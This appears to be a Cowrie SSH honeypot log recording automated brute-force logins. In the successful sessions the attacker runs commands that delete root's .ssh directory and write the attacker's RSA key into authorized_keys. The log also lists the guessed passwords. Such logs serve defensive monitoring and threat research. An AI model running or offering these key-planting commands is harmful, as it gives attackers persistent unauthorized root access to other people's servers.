{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:08.065292Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:08.442509Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"test2025","message":"login attempt [root/test2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:09.449599Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:09.974050Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:09.977571Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:09.981174Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:10.228842Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:10.749505Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:10.752396Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:11.078277Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:11.082329Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.78.217","src_port":42458,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed7fd437b46f","protocol":"ssh","message":"New connection: 103.67.78.217:42458 (159.203.135.109:22) [session: ed7fd437b46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:11.318663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:11.323311Z","src_ip":"103.67.78.217","session":"ed7fd437b46f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:11.566103Z","src_ip":"103.67.78.217","session":"ed7fd437b46f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:12.574095Z","src_ip":"103.67.78.217","session":"ed7fd437b46f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:13.821017Z","src_ip":"103.67.78.217","session":"ed7fd437b46f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.78.217","src_port":57690,"dst_ip":"159.203.135.109","dst_port":22,"session":"368798e9ce26","protocol":"ssh","message":"New connection: 103.67.78.217:57690 (159.203.135.109:22) [session: 368798e9ce26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:14.066509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:14.071007Z","src_ip":"103.67.78.217","session":"368798e9ce26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:14.349732Z","src_ip":"103.67.78.217","session":"368798e9ce26","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:15.378767Z","src_ip":"103.67.78.217","session":"368798e9ce26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:15.628669Z","src_ip":"103.67.78.217","session":"57fdcda986ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:15.642290Z","src_ip":"103.67.78.217","session":"368798e9ce26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.84.54","src_port":37006,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfca73e1709b","protocol":"ssh","message":"New connection: 45.119.84.54:37006 (159.203.135.109:22) [session: dfca73e1709b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:28.120868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:28.124750Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:28.362852Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"st@123456","message":"login attempt [root/st@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:29.446470Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:30.044554Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:30.048032Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:30.051945Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:30.318211Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:30.987207Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:30.990857Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:31.250367Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:31.254143Z","src_ip":"45.119.84.54","session":"dfca73e1709b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.84.54","src_port":51470,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f1cb2409ec","protocol":"ssh","message":"New connection: 45.119.84.54:51470 (159.203.135.109:22) [session: d4f1cb2409ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:31.554708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:31.560523Z","src_ip":"45.119.84.54","session":"d4f1cb2409ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:31.958401Z","src_ip":"45.119.84.54","session":"d4f1cb2409ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:33.092069Z","src_ip":"45.119.84.54","session":"d4f1cb2409ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:34.333397Z","src_ip":"45.119.84.54","session":"d4f1cb2409ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.84.54","src_port":51484,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c907c82205d","protocol":"ssh","message":"New connection: 45.119.84.54:51484 (159.203.135.109:22) [session: 6c907c82205d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:34.569120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:34.576068Z","src_ip":"45.119.84.54","session":"6c907c82205d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:34.815792Z","src_ip":"45.119.84.54","session":"6c907c82205d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T21:36:35.889984Z","src_ip":"45.119.84.54","session":"6c907c82205d","protocol":"ssh"}
